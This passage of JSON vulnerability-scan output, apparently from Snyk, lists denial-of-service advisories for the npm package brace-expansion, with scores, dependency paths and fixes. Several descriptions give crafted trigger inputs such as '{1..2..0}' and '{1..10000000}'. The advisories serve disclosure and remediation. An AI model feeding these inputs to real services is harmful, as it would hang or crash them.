Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", 